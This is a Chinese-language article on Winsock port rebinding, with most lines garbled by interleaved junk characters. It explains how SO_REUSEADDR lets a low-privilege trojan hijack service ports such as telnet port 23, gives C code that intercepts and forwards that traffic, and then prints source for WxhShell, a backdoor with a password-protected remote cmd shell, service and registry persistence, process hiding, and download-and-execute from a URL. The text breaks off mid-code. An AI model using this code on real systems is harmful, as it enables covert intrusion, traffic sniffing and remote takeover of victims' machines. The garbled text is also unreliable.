在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?28)l
4 Ml s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4}]In/yA !k#N]
9D3 saddr.sin_family = AF_INET;
01IfvK 4+4&}8FH saddr.sin_addr.s_addr = htonl(INADDR_ANY);
X"%eRW&qu/ @9\E bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
EdZNmL3cB z]j_,3Hff 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?S.LGc ~xc0Ky?8 这意味着什么?意味着可以进行如下的攻击:
S}K-\[i? 'Y/8gD~. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
eYPIZ{S7h Gz7,g
Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&+/$~@OK x( rl|o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A64c,Uv ,u14R] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
uC2 5pH" s*vtCdrE.
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.C1g Dry] pWKI^S 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
AS lmW@/9v ~)5k%?. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
q2M%AvR N]G`] #include
OO;I^`Yn #include
|2I
p* #include
kZ!&3G9>- #include
}m S+%w"j DWORD WINAPI ClientThread(LPVOID lpParam);
(R!.=95@ int main()
)7WLbj!M {
cN)noGkp WORD wVersionRequested;
7s;*vd> DWORD ret;
$-gRD|oY WSADATA wsaData;
iF1zLI<A BOOL val;
RMAbu*D0 SOCKADDR_IN saddr;
)(yKm/50 SOCKADDR_IN scaddr;
]Yf8 int err;
mQ\oR| SOCKET s;
v&` n}lS SOCKET sc;
^{-Z3Yxd int caddsize;
s$/Z+"f( HANDLE mt;
4rD&Lg' DWORD tid;
CDDEWVd wVersionRequested = MAKEWORD( 2, 2 );
z{qn|#} err = WSAStartup( wVersionRequested, &wsaData );
GGFrV8 if ( err != 0 ) {
Sbj{) printf("error!WSAStartup failed!\n");
FOqD return -1;
Qe=eer~jI }
:kucDQE({? saddr.sin_family = AF_INET;
Qq\hD@Z| 5_SxX@fW% //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
u)l[*";S &>XSQB(&% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
5%" 0 saddr.sin_port = htons(23);
sA+( |cEh if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
))J#t{X/8v {
_61tE printf("error!socket failed!\n");
[V;Q#r&+ return -1;
I5g!c|#y
}
M
U2]; val = TRUE;
{;hRFQ^b //SO_REUSEADDR选项就是可以实现端口重绑定的
N ^H
H&~V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
T7*p!0 {
M5+K[Ir/y9 printf("error!setsockopt failed!\n");
j g_;pn return -1;
QB7^8O!< }
h'A
#Yp0, //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|l,0bkY@& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wE_#b\$=b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9bD ER a6g+"EcH#' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(M%ZSF V {
+VHoYEW ret=GetLastError();
`~LaiN. printf("error!bind failed!\n");
QC+BEN$ return -1;
58Z,(4:E }
_i0,?U2C listen(s,2);
s?&UFyYb, while(1)
G3t\2E9S {
`R:HMO[ow caddsize = sizeof(scaddr);
9Oc(Gl5az //接受连接请求
-[7S. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6CzN[R} if(sc!=INVALID_SOCKET)
k7bfgb{ {
3yM!BTlX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"C]_pWk if(mt==NULL)
_^Q =n>G {
1$uO% printf("Thread Creat Failed!\n");
y?V#LW[^E break;
Yn-;+ 4 K }
|A:+[35 }
"@&I*1& CloseHandle(mt);
YGkk"gFIA }
L(3}
H,t closesocket(s);
9jrlB0 WSACleanup();
IaRq6=[ return 0;
50`<[w<J
q }
FdmoR; DWORD WINAPI ClientThread(LPVOID lpParam)
)>WSuf
j {
K$~Ja SOCKET ss = (SOCKET)lpParam;
\@*D;-b SOCKET sc;
fngk<$lvg unsigned char buf[4096];
!*=+E%7 SOCKADDR_IN saddr;
1.q
a//'RW long num;
6s&%~6J, DWORD val;
hgF4PdO1e DWORD ret;
EP]O J$6I //如果是隐藏端口应用的话,可以在此处加一些判断
BxGz4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
M\be a saddr.sin_family = AF_INET;
wTu=v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
__,}/|K2 saddr.sin_port = htons(23);
#W=H)6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!8OUH6{2 {
2ee((vO& printf("error!socket failed!\n");
H iDL:14 return -1;
-hpMd/F }
(ysDs[?\ val = 100;
|[
,|S{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
sBWLgJz?C {
o`ijdg!5qG ret = GetLastError();
? Eh)JJt return -1;
/N\[ C"8 }
Z)H9D(Za if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[}=/?(5 {
tvvRHvL ret = GetLastError();
t[?O*> return -1;
9N{"ob
Z }
*61G<I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
-S*MQA4 {
@1G`d53N printf("error!socket connect failed!\n");
D*o[a#2_ closesocket(sc);
8i?h{G IMV closesocket(ss);
h**mAa0fo return -1;
,#QLc }
gIaPS0Q while(1)
}e0)=*;l {
Zk75GC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7Ys\=W1 //如果是嗅探内容的话,可以再此处进行内容分析和记录
eXZH#K7S# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)K^5+oC17 num = recv(ss,buf,4096,0);
\l9S5%L9 if(num>0)
CGN:=D< send(sc,buf,num,0);
1r;.r| else if(num==0)
<MoKTP-< break;
@mrGG F num = recv(sc,buf,4096,0);
t(?tPt4zp if(num>0)
9<S};I; send(ss,buf,num,0);
k=qb YGK else if(num==0)
%.;`0}b break;
K=X13As_ }
h"5!puN+ closesocket(ss);
b py576GwA closesocket(sc);
YkbZ 2J*- return 0 ;
(xhV>hsA }
S)[$F} tcU4$%H/ Um\_G@ ==========================================================
A/{0J\pA -
d(RK_ 下边附上一个代码,,WXhSHELL
SRf.8j !]z6?kUK ==========================================================
S`?cs^? 4w-P%-4 #include "stdafx.h"
{!rpE7P- -R-|[xN #include <stdio.h>
B\}B
H #include <string.h>
5(sWV:_2 #include <windows.h>
gXI8$W> #include <winsock2.h>
gzDNMM #include <winsvc.h>
@G;\gJT* #include <urlmon.h>
Mee+bp "vG~2J #pragma comment (lib, "Ws2_32.lib")
2pQdDbm #pragma comment (lib, "urlmon.lib")
C [h^bBq W6[# q%o #define MAX_USER 100 // 最大客户端连接数
z?i{2Fz6 #define BUF_SOCK 200 // sock buffer
V[N4 {c #define KEY_BUFF 255 // 输入 buffer
V}UYr Va#9 lGAKHCs #define REBOOT 0 // 重启
/>\6_kT #define SHUTDOWN 1 // 关机
k+FiW3- *yxn*B_xZ #define DEF_PORT 5000 // 监听端口
5L8 )w5
zL,B? #define REG_LEN 16 // 注册表键长度
$"G=r(MW #define SVC_LEN 80 // NT服务名长度
EZvf\s>LT &;O)Dw // 从dll定义API
IrZ!.5%tV typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#XJ`/\E] typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ZhpbbS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z#P:C":e typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
f~NGIlgR p:n.:GZ=y // wxhshell配置信息
D-IXO@x struct WSCFG {
0cBk/x^s int ws_port; // 监听端口
wkwsBi char ws_passstr[REG_LEN]; // 口令
#^ cmh int ws_autoins; // 安装标记, 1=yes 0=no
&^4 E )F char ws_regname[REG_LEN]; // 注册表键名
"dO>P*k, char ws_svcname[REG_LEN]; // 服务名
Hkck=@>8H* char ws_svcdisp[SVC_LEN]; // 服务显示名
rFPfTpS char ws_svcdesc[SVC_LEN]; // 服务描述信息
XV>
)[Nd\H char ws_passmsg[SVC_LEN]; // 密码输入提示信息
P,@ :?6 int ws_downexe; // 下载执行标记, 1=yes 0=no
NlnmeTLO5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Yuo char ws_filenam[SVC_LEN]; // 下载后保存的文件名
atA:v3" V!94I2%#x };
<(U:v lZa L=HS#L // default Wxhshell configuration
c/q -WEKL struct WSCFG wscfg={DEF_PORT,
m|5yET "xuhuanlingzhe",
bez_|fY{T 1,
$J]b+Bp "Wxhshell",
X^;LiwQv "Wxhshell",
oI6l `K$ "WxhShell Service",
T+y3Ph--^ "Wrsky Windows CmdShell Service",
aA5rvP+ "Please Input Your Password: ",
09psqXU@I 1,
@a{1vT9b "
http://www.wrsky.com/wxhshell.exe",
N$i|[>`j "Wxhshell.exe"
f4TNy^- };
b\l +S2 `Ko6;s# // 消息定义模块
rcWr0q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Jm l4EW7 char *msg_ws_prompt="\n\r? for help\n\r#>";
(\=iKE4# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
OYsG# char *msg_ws_ext="\n\rExit.";
v)a$;P% char *msg_ws_end="\n\rQuit.";
},G>+ s8h char *msg_ws_boot="\n\rReboot...";
qd7 86~ char *msg_ws_poff="\n\rShutdown...";
$Jt+>.44 char *msg_ws_down="\n\rSave to ";
j5yxdjx9 9(PQ7} char *msg_ws_err="\n\rErr!";
k}yUD 0Y char *msg_ws_ok="\n\rOK!";
uS%Y$v `T]1u4^E char ExeFile[MAX_PATH];
rfdT0xfcU int nUser = 0;
@}{~Ofs HANDLE handles[MAX_USER];
[e:mRMi int OsIsNt;
m:1f7Z> ??!+2G#%! SERVICE_STATUS serviceStatus;
' N@1+v= SERVICE_STATUS_HANDLE hServiceStatusHandle;
.Y"H{|]Mnh ,%FBELqOW // 函数声明
3'H 1T int Install(void);
y~cDWD<h int Uninstall(void);
C)r!;u)AZH int DownloadFile(char *sURL, SOCKET wsh);
D/$$"AT int Boot(int flag);
-m.SN>V void HideProc(void);
f;k'dqlv int GetOsVer(void);
QlHxdRK`. int Wxhshell(SOCKET wsl);
A\jX #gg void TalkWithClient(void *cs);
RU1+- int CmdShell(SOCKET sock);
3O:gZRxK int StartFromService(void);
N!fTt, int StartWxhshell(LPSTR lpCmdLine);
'NJCU.lKm _FET$$>z N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;c-J)Ky VOID WINAPI NTServiceHandler( DWORD fdwControl );
Q@in?}; x-:a5Kz! // 数据结构和表定义
`zjEs8`' SERVICE_TABLE_ENTRY DispatchTable[] =
,c%>M^d {
7n1@m_7O {wscfg.ws_svcname, NTServiceMain},
=psX2?%L {NULL, NULL}
HW)4#nLhh };
`nxm<~-\ kAEm#oz=g // 自我安装
=3Y:DPMB int Install(void)
4EO,9#0 {
U2DE" char svExeFile[MAX_PATH];
YmS}*>oz HKEY key;
f,?P1D\ strcpy(svExeFile,ExeFile);
]&')#YO c:/H}2/C // 如果是win9x系统,修改注册表设为自启动
bk**% ] if(!OsIsNt) {
2\Vzfca if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<3wfY
#;>< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<4gT8kQ$x RegCloseKey(key);
;BsPms@U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RN0@Q~oTI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@c<*l+Qc RegCloseKey(key);
)>]~ Y return 0;
Wb_'X |"u }
/5ngPHy& }
36<PI'l#~ }
C>d_a;pX else {
~v2E<S3 +w
;2k w // 如果是NT以上系统,安装为系统服务
^MyuD?va SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M>pcG.6V if (schSCManager!=0)
!);kjXQS? {
]vJ]
i<|b SC_HANDLE schService = CreateService
J!$q"0G'WT (
Fu*~{n schSCManager,
?F@0"qi wscfg.ws_svcname,
X
8V^ wscfg.ws_svcdisp,
t,*hxzD" SERVICE_ALL_ACCESS,
jXBAo SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
&TmN^R> SERVICE_AUTO_START,
#PzRhanX SERVICE_ERROR_NORMAL,
p nS{W
\Q svExeFile,
kvzGI>H: NULL,
E1U~ew NULL,
?h;Zdv>`xz NULL,
~bp^Q|
wM NULL,
m"{D}(TA NULL
CH6^;. );
_E[zYSo` if (schService!=0)
pNN6P sLt {
GZ.Fq CloseServiceHandle(schService);
U*.Wx0QM CloseServiceHandle(schSCManager);
c:SA#. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q3t9J"=1g strcat(svExeFile,wscfg.ws_svcname);
ZSKSMI%D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
a&6e~E$K2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
9V]\,mD= RegCloseKey(key);
y#'|=0vTvP return 0;
Oy:;v7 }
J2"n: }
xwZcO CloseServiceHandle(schSCManager);
H'fmQf }
a=<l}`* }
Le&SN7I c~B[<.Qj return 1;
<1HbjRw }
nu1s *C~O[:6D // 自我卸载
R^`# xQ int Uninstall(void)
9sQ4
$ {
kKU,|>3h HKEY key;
oUMY?[Wp O@@=ZyYwc if(!OsIsNt) {
sx ;7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
G@Z,Hbgm RegDeleteValue(key,wscfg.ws_regname);
wf4?{H RegCloseKey(key);
prf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
1m*fkM# RegDeleteValue(key,wscfg.ws_regname);
01n5]^.p RegCloseKey(key);
?mdgY1 return 0;
a#iJXI }
$
e<&7 }
iez@j }
xn49[T
else {
3cuVyf<v [b-wak})aD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>[]@Df,p if (schSCManager!=0)
LTGKs^i4 {
K5O8G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/Ulv/Thl if (schService!=0)
4ZY0!'be-R {
1l$c*STK if(DeleteService(schService)!=0) {
:Ogt{t CloseServiceHandle(schService);
#&JhA2]q CloseServiceHandle(schSCManager);
).[Mnt/Ft return 0;
~J}{'l1{yf }
C]ev"Am_)
CloseServiceHandle(schService);
W7k\j&x }
y\]~S2}G CloseServiceHandle(schSCManager);
"0JG96&\ }
%F'*0< }
7^}np^[HB Y`5(F>/RQG return 1;
| |=q"h3( }
&tT*GjPwg; W'l
&rm@ // 从指定url下载文件
`Pa)H int DownloadFile(char *sURL, SOCKET wsh)
fiuF!<#;6 {
ZT>?[`Vgc HRESULT hr;
8lAs~c char seps[]= "/";
gO kq>i_ char *token;
{\!_S+}{ char *file;
3urL*Fw, char myURL[MAX_PATH];
%:bTOw[4r char myFILE[MAX_PATH];
][b_l(r$? !a"RHg:HO strcpy(myURL,sURL);
0^l|W|.Z token=strtok(myURL,seps);
Tx)X\&ij& while(token!=NULL)
%d<uOCf\Q {
u{F^Ngy
) file=token;
zKycd*X token=strtok(NULL,seps);
ykY#Y}?^ }
0'Kbh$LU r;gtfX* GetCurrentDirectory(MAX_PATH,myFILE);
pBW|d\8 strcat(myFILE, "\\");
.VFa,&5;3 strcat(myFILE, file);
t{\,vI send(wsh,myFILE,strlen(myFILE),0);
{ZiZ$itf send(wsh,"...",3,0);
9C?;' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ZeVb< g if(hr==S_OK)
II!Nr{A return 0;
>j [> 0D else
5,3Yt ~\m return 1;
Ij +
E/V q9GSUkb }
"I"(yiKD g. V6:>, // 系统电源模块
)sWC5\ int Boot(int flag)
y H\z+A| {
E^uWlUb{ HANDLE hToken;
7M~w05tPh TOKEN_PRIVILEGES tkp;
+}IOTw"O` }yde9b?F if(OsIsNt) {
>heFdKq1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a<-'4D/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
rFY% fo
tkp.PrivilegeCount = 1;
oLJP@J tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$O}:*.{(W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
yDwG,)m 4s if(flag==REBOOT) {
;t'~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3B }Oy$p return 0;
,uEi*s> }
vA(V.s` else {
<k2Qcicy if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
dl:uI5] return 0;
EeW %5/; }
4%h@K(iN }
qT(
3M9! else {
/RLeD if(flag==REBOOT) {
2yYq/J if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
J(CqT/Au- return 0;
qla$}dnvc }
jOuz-1x,& else {
}R.<\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_1D'9!+ return 0;
p=T,JAI t }
Ol8ma`}Nq3 }
j5lSu~
m791w8Vr return 1;
9UD~$_<\ }
SKx&t- _7?LINF9 // win9x进程隐藏模块
/UGH7srx void HideProc(void)
Pb05>J3N {
fD8A+aA `mU'{ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[C@0&[[ if ( hKernel != NULL )
oM`[&m., {
s`2Hf&%aZJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
dpHK~n j\_ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
W~ 6ii\ FreeLibrary(hKernel);
G.KZZ-=_4 }
HtWuZq;w n:c)R8X] return;
y}NBJ }
O=wA/T=w? vM5u]u! // 获取操作系统版本
}gY:VDW int GetOsVer(void)
]=5nC)| {
,U_p6TV5 OSVERSIONINFO winfo;
T\g%. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
RIXUzKLO GetVersionEx(&winfo);
Y|bCbaF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:-x F=Y(; return 1;
S<Zb>9pl else
w!{g^*R+! return 0;
:'-FaGy }
4%#C _pE9 D'y/pv}! // 客户端句柄模块
H]a; <V9[ int Wxhshell(SOCKET wsl)
W (N@`^ {
ZJz6{cY SOCKET wsh;
ve.rpF\ struct sockaddr_in client;
)M5:aSRz DWORD myID;
kFPZ$8e
Xrpzc~( while(nUser<MAX_USER)
+R}(t{b# {
> <WR]`G int nSize=sizeof(client);
;qT~81 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
KD]8n]c if(wsh==INVALID_SOCKET) return 1;
%a-:f)@ Jq1 Zb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!QoOL<(){ if(handles[nUser]==0)
k8E'wN closesocket(wsh);
=k]Rze I else
<5*cc8 nUser++;
eup#.#J }
]kC/b^~+m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
*Q bPz4," ^J0*]k%
return 0;
PfTjC"`, }
D0(QZrVa a%Ky;ys // 关闭 socket
&f1dCL%z7 void CloseIt(SOCKET wsh)
E7E>w#T5 {
g0w<vD`<g closesocket(wsh);
$0rSb0[ nUser--;
W2Y%PD9a ExitThread(0);
XjpFJ#T*$A }
e6{}hiM 1X\dH<B} // 客户端请求句柄
6yZfV7I void TalkWithClient(void *cs)
Cg NfqT0 {
[bH5UTA %h;~@- $ SOCKET wsh=(SOCKET)cs;
:5?g<@ char pwd[SVC_LEN];
jdxwS char cmd[KEY_BUFF];
B9;dX6c char chr[1];
2[i:bksjW int i,j;
56(S[ mq@2zE`.( while (nUser < MAX_USER) {
@D%H-X <\]o#w*: if(wscfg.ws_passstr) {
aML?$_6 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`A O_e4D0i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:Mr _/t2( //ZeroMemory(pwd,KEY_BUFF);
xk=5q|u_- i=0;
yRaB\' while(i<SVC_LEN) {
T1ZAw'6(K
wPTXRq% // 设置超时
>W[8wR fd_set FdRead;
T
'pX)ZH struct timeval TimeOut;
>jU.R;H5 FD_ZERO(&FdRead);
.L'>1H]B FD_SET(wsh,&FdRead);
ks=jv: TimeOut.tv_sec=8;
%<%ef+* TimeOut.tv_usec=0;
xcfEL_'o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
l0Wp%T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
h%MjVuLn " SkTVqm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?.#?h>MS{s pwd
=chr[0]; M{$EJS\d=
if(chr[0]==0xd || chr[0]==0xa) { d*ch.((-
pwd=0; YUdCrb9F
break; >x0"gh
} 1au1DvH
i++; "\bbe @
} *"#62U6
fvKb0cIx]
// 如果是非法用户,关闭 socket nff&~lwhZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F)KUup)gc
} 9u";%5 4
E! ;giPq*n
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Iy8>9m'5
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D}59fWz@
U-(2;F)
while(1) { cOa.]Kk
Wi_5.=
ZeroMemory(cmd,KEY_BUFF); B'\^[
5I9~OJ>
// 自动支持客户端 telnet标准 _gZ8UZ)
j=0; HIP6L,$
while(j<KEY_BUFF) { KWIH5* AM
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VA*~RS
cmd[j]=chr[0]; ]fz0E:x
if(chr[0]==0xa || chr[0]==0xd) { Vrl)[st!;I
cmd[j]=0; *Iv.W7 [
break; p$^}g:
} z+5l:f
j++; +9db1:
} @D_=MtF<
M^I*;{w6i
// 下载文件 [|PVq#(
if(strstr(cmd,"http://")) { N|pjGgI
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )2T 1g~8
if(DownloadFile(cmd,wsh)) &RQQVki3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +-~hl
else K8CjZpzq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e R"XXF0u
} K2PV^Y
else { Q7oJ4rIP
<I
.p{Z
switch(cmd[0]) { rJi;"xF8
cbvK;;
// 帮助 WJvD,VMz
case '?': { jT/SZ|S
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +!9&E{pmo
break; ^znj J\
} cn1CM'Ru
// 安装 _[}r2,e
case 'i': { t]1j4S"pm
if(Install()) UO(B>Abp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MJ^NRT0?b
else
5|2v6W!e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [9S\3&yoh
break; No8 ~~
} D6&fDhO27
// 卸载 .ruGS.nS4
case 'r': { /5M@>A^?'
if(Uninstall()) 9An_zrJ%i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fRKO> /OT
else GFd~..$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -AwR$<q'
break; @@$=MSN
} Rt!G:hy7
// 显示 wxhshell 所在路径 -N`j` zb|
case 'p': { /VB n
char svExeFile[MAX_PATH]; yU"lW{H@
strcpy(svExeFile,"\n\r"); weCRhA
strcat(svExeFile,ExeFile); (,$ H!qKy
send(wsh,svExeFile,strlen(svExeFile),0); DueQ1+ P
break; 2Wz/s 0`
} Hm2}xnY
// 重启 41 sClC"
case 'b': { ~J1;Z0}#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `F<)6fk
if(Boot(REBOOT)) g0t$1cUR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WtF
else { s6<`#KFAg
closesocket(wsh); o_
ExitThread(0); Rfh#JO@%[
} zA[6rYXY
break; PZ2$ [s0W
} k]FP1\Y
// 关机 aH<BqD[#
case 'd': { pQr `$:ga
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xi=Z<G
if(Boot(SHUTDOWN)) JzH\_,,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0KqG J:Ru
else { C$`z23E
closesocket(wsh); l{wHu(1
ExitThread(0); P1DYjm[+D
} R o :/J
break; CpHF3o`Z6
} H?tonG.^(
// 获取shell TA;
case 's': {
8mTjf Br
CmdShell(wsh); `?VtB!p@x=
closesocket(wsh); :Bc)1^I
ExitThread(0); U085qKyCw
break; +T:F :X`
} +P,hT
// 退出 #I[tsly}
case 'x': { >*rsR R
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `9M:B&
CloseIt(wsh); +jD?h-]
break; PY7j uS[+
} H
<1g
// 离开 l]RO'
case 'q': { 01Bs7@"+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); vtw{
A}
closesocket(wsh); [.;$6C/?
WSACleanup(); FEgM4m.(G<
exit(1); Ho[Kxe[c
break; +^$FA4<~
} @$'k1f(u>
} ?H8w/{J
} Dg~r%F
gaBt;@?:Q
// 提示信息 -;=0dfC(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b0PqP<{ t
} tcOgF:
} "R@N}q<*v2
#W[/N|~wx
return; cE[B
(e
} TS+itU62
z7'3d7r?
// shell模块句柄 y
BF3Lms
int CmdShell(SOCKET sock) K(RG:e~R0i
{ ]~~PD?jh
STARTUPINFO si; UO^"<0u
ZeroMemory(&si,sizeof(si)); &UH .e
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v-2_#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <+D(GH};
PROCESS_INFORMATION ProcessInfo; HNN,1MN
char cmdline[]="cmd"; E/x``,k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V9Bi2\s*
return 0; _?Zg$7VJ
} HJ[@;F|aU
4UD7!
// 自身启动模式 >mRA|0$
int StartFromService(void) to~Ap=E
{ KP"
lz
typedef struct a$!|)+
{ *BzqAi0
DWORD ExitStatus; e m`z=JGG
DWORD PebBaseAddress; )s^D}I(
DWORD AffinityMask; EjLj5Z/q
DWORD BasePriority; zs!,PQF(
ULONG UniqueProcessId; SS OF\
ULONG InheritedFromUniqueProcessId; \{
